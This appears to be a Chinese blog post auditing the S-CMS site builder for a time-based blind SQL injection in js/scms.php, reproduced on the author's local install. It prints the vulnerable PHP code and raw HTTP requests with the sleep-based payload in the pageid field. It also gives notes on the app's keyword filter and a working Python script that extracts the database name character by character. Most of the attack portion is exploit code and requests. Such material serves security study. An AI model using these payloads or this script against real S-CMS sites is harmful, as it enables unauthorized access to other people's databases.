早上看到Y4er大佬发的文章啦,赶紧也去下载一个S-cms企业建站系统,来审计一下
文章地址https://y4er.com/post/scms-blind-injection/
至于如何在自己电脑上下载安装,应该不用多说了,不会的请留言
D:\app_english\PHPstudy\PHPTutorial\WWW\Scms\Scms\js\scms.php:173行
case "jssdk":
$APPID = $C_wx_appid;
$APPSECRET = $C_wx_appsecret;
$info = getbody("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" . $APPID . "&secret=" . $APPSECRET, "");
$access_token = json_decode($info)->access_token;
$info = getbody("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $access_token . "&type=jsapi", "");
$ticket = json_decode($info)->ticket;
$url = $_POST["url"];
$noncestr = gen_key(20);
$timestamp = time();
$pageid = $_POST["pageid"];
if ($pageid == "") {
$pageid = 1;
}
switch ($_POST["pagetype"]) {
case "index":
$img = $C_ico;
break;
case "text":
$img = getrs("select * from " . TABLE . "text where T_id=" . $pageid, "T_pic");
break;
case "product":
$img = getrs("select * from " . TABLE . "psort where S_id=" . $pageid, "S_pic");
break;
case "productinfo":
$img = splitx(getrs("select * from " . TABLE . "product where P_id=" . $pageid, "P_path"), "__", 0);
break;
case "news":
$img = getrs("select * from " . TABLE . "nsort where S_id=" . $pageid, "S_pic");
break;
case "newsinfo":
$img = getrs("select * from " . TABLE . "news where N_id=" . $pageid, "N_pic");
break;
case "form":
$img = getrs("select * from " . TABLE . "form where F_id=" . $pageid, "F_pic");
break;
case "contact":
$img = $C_ico;
break;
case "guestbook":
$img = $C_ico;
break;
}
$sign = sha1("jsapi_ticket=" . $ticket . "&noncestr=" . $noncestr . "×tamp=" . $timestamp . "&url=" . $url);
echo "{\"nonceStr\":\"" . $noncestr . "\",\"timestamp\":\"" . $timestamp . "\",\"signature\":\"" . $sign . "\",\"appid\":\"" . $APPID . "\",\"img\":\"http://" . $_SERVER["HTTP_HOST"] . $C_dir . $img . "\",\"ticket\":\"" . $ticket . "\"}";
break;
可以看到 $pageid = $_POST["pageid"];直接从POST中赋值,并且直接拼接到sql语句中。
过滤了一些东西,在这我给出一个payload
首先先判断pageid是否存在
"""
POST /scms/scms/js/scms.php?action=jssdk HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Connection: keep-alive
Referer: http://localhost/scms/scms/?lang=cn
Cookie: zhwy_2132_saltkey=R25LZRwl; zhwy_2132_lastvisit=1562912233; zhwy_2132_ulastactivity=08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK; zhwy_2132_nofavfid=1; zU2p_2132_saltkey=XQM4NcQP; zU2p_2132_lastvisit=1562914333; PHPSESSID=56r9sfiajqlueuh6lj2vuo2o21; __tins__18885840=%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D; __51cke__=; __51laig__=14
Upgrade-Insecure-Requests: 1
pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)
如果存在返回包应该是包含了img字段并且有具体的图片地址,例如(我这存在也不返回啊,难受)
"""
HTTP/1.1 200 OK
Date: Wed, 17 Jul 2019 03:23:51 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
Content-Length: 319
{"nonceStr":"chhnvlEPIcivTdHNvRAh","timestamp":"1563333832","signature":"769a3e36bade928818b430b94c98a8b6d4b9f272","appid":"wxXXXXXXXXXX","img":"http://localhost/scms/scms/","ticket":""}
如果你的pageid是不存在的话,你的sleep时间将会是5的倍数
可以参考admintony师傅的文章MySQL的逻辑运算符(and_or_xor)的工作机制研究
给出payload
POST /js/scms.php?action=jssdk HTTP/1.1
Host: php.local
Content-Length: 89
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Origin: http://php.local
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://php.local/js/scms.php?action=jssdk
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
Connection: close
pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)
值得一提的是scms过滤了一系列关键字比如select
,update
,'
,/
,*
,\
,那么具体的payload就靠大家发挥了
以上大部分都是大佬的观点和状况了,HTTP请求和返回是我自己的
但是我下载的代码不是到是咋回事,好像了点问题
我刚打开的时候是没有我红色箭头表示的空白部分的,导致这一部分的代码根本没啥用啊,找到原因后如图我自己给他加上了一点缩进,这才没事的
试着写写盲注的代码
气死我了,那个%26%26
写到程序里就TMD跟出鬼了一样,
调试了好多次,运行第一次完美,睡上个5秒,但是运行第二次立马就返回结果了,我TMD一样的代码啊,不可以这样气我好不好,到数据库直接运行也没错啊,那效果跟加了缓存似的,难受,赶紧改成&&
才没问题的
先放上查数据库名的代码,cookie用不用都一样,可以自己用自己的,我代码里没用到cookie(哈哈调试错误的时候快疯了)哎,在burp里是%26%26才行,在python3代码里是&&才行啊啊啊啊啊,好可怕啊
import requests
import time
url = 'http://localhost/scms/scms/js/scms.php?action=jssdk'
char_set = r'~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
post_data = {'pagetype':'productinfo','pageid': '78'}
session = requests.session()
cookie = {
'zhwy_2132_saltkey': 'R25LZRwl',
'zhwy_2132_lastvisit':'1562912233',
'zhwy_2132_ulastactivity':r'08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK',
'zhwy_2132_nofavfid':'1',
'zU2p_2132_saltkey':'XQM4NcQP',
'zU2p_2132_lastvisit':'1562914333',
'PHPSESSID':'56r9sfiajqlueuh6lj2vuo2o21',
'__tins__18885840':r'%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D',
'__51cke__':'',
'__51laig__':'14'
}
def work_find_db():
current_db = ''
try:
pass
for x in range(10):
for y in char_set:
print(y, end='', flush=True)
pageid = r'78 && '+'if(ascii(substring(database(),%s,1))=%s,sleep(7),1)' % ((x+1), ord(y))
post_data.update({'pageid': pageid})
# print(pageid)
try:
# start = time.time()
res = session.post(url, data=post_data, timeout=6)
if res.text is not None:
print(' ', end='', flush=True)
except requests.exceptions.ReadTimeout:
current_db += y
print('\nNice->',current_db)
break
print()
except KeyboardInterrupt:
print('手动退出')
work_find_db()
select被过滤了,剩下的完全不会了啊
网友评论